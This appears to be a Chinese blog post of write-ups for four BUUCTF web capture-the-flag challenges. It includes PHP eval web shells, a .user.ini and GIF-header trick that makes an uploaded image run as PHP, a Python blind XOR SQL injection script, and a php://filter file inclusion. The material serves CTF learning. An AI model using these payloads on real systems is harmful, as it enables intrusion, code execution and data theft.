Web-3(9-12)-BUUCTF平臺

本篇內容
[強網杯 2019]高明的黑客
[SUCTF 2019]CheckIn
[CISCN2019 華北賽區 Day2 Web1]Hack World
[極客大挑戰 2019]Secret File

上一篇 | 目錄 | 下一篇


[強網杯 2019]高明的黑客

訪問網址:
在這裏插入圖片描述
那就直接訪問 www.tar.gz拿到3000多個php文件。驚呆了我,隨機打開一些php文件發現好多的get、post、eval之類的東西,猜想跟拿shell有關,但是不會啊,這麼多怎麼找有用的shell。
直接百度,發現大佬太強了,我是直接偷了大佬的腳本跑出來了結果,參考大佬博客:[強網杯 2019]高明的黑客(考察代碼編寫能力)
將www.tar.gz解壓出的src放入自己本地
在這裏插入圖片描述
然後用大佬的腳本跑的結果:
在這裏插入圖片描述

嘗試一下:

xk0SzyKwfzw.php?Efa5BVG=ls /

在這裏插入圖片描述
看到flag字眼,嘗試讀取:

xk0SzyKwfzw.php?Efa5BVG=cat /flag

在這裏插入圖片描述
拿到最終flag。





[SUCTF 2019]CheckIn

訪問,發現了文件上傳,直接上傳php,內容是<?php eval($_GET['a'];?>,結果不行:
在這裏插入圖片描述
上傳圖片成功
在這裏插入圖片描述
改後綴嘗試一下:
在這裏插入圖片描述
原來是不能含有<?啊,內容換成這樣<script language='php'>eval($_GET['a']);</script>再次嘗試:
在這裏插入圖片描述
後端應該調用了php的exif_imagetype()函數,添加圖片文件頭就可以繞過。再次嘗試:
在這裏插入圖片描述
成功上傳,可惜被當成的是圖片,現在就是要解析這語句,這裏雖然.htaccess文件也可以正常上傳,但是.htaccess文件只針對Apache、而此處用到的服務器卻是nginx,那麼這裏可以利用.user.ini ,.user.ini利用的範圍比.htaccess更廣,在nginx、apache、IIS裏都可以,只要是以fastcgi運行的php都可以用這個方法。
上傳.user.ini,內容爲:

GIF89a
auto_prepend_file =shell.png

在這裏插入圖片描述
到它給定的路徑下嘗試一下phpinfo();發現成功
在這裏插入圖片描述
嘗試查看根路徑下的文件:
在這裏插入圖片描述
查看flag:
在這裏插入圖片描述





[CISCN2019 華北賽區 Day2 Web1]Hack World


嘗試後發現過濾了一些東西,
發現異或注入可以用
在這裏插入圖片描述
那就Fuzz模糊測試一下:
在這裏插入圖片描述
發現過濾了一大堆東西,不過ascii、mid、substr、from等沒有被過濾,空格被過濾直接括號代替,直接上腳本:

import requests

url='http://65eecc40-ec4a-4f27-bb05-b615122057de.node3.buuoj.cn/index.php'
res = ""

for i in range(1,50):
    print(i,end='\t')
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "1^(ascii(mid((select(flag)from(flag)),{},1))>{})".format(i,mid)
        #print(payload)
        data = {"id":payload}
        r = requests.post(url, data = data)
        if 'Error' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    res += chr(int(mid))
    print(res)

在這裏插入圖片描述
我採用的是二分法,所以運行速度會比較快,跑完直接出flag。





[極客大挑戰 2019]Secret File

訪問直接右鍵源代碼:
在這裏插入圖片描述
訪問再右鍵源代碼:
在這裏插入圖片描述
訪問action.php卻跳轉到了end.php,中間肯定有什麼,那就Burp抓包。
在這裏插入圖片描述
在這裏插入圖片描述
發現了一個secr3t.php,訪問
在這裏插入圖片描述

strstr() — 查找字符串的首次出現
stristr()strstr() 函數的忽略大小寫版本

代碼分析後,發現要GET一個file參數過去,但是不能含有../tpinputdata,包括這些的大小寫。不含有這些的話就會包含file指定的文件。
這一看就是php://僞協議了,而且我直接想到還有php://filter可以使用,嘗試一下:
在這裏插入圖片描述
發現一串base64密文,直接解密就得到了flag。
在這裏插入圖片描述




========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處
本文網址:https://blog.csdn.net/hiahiachang/article/details/105411756
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章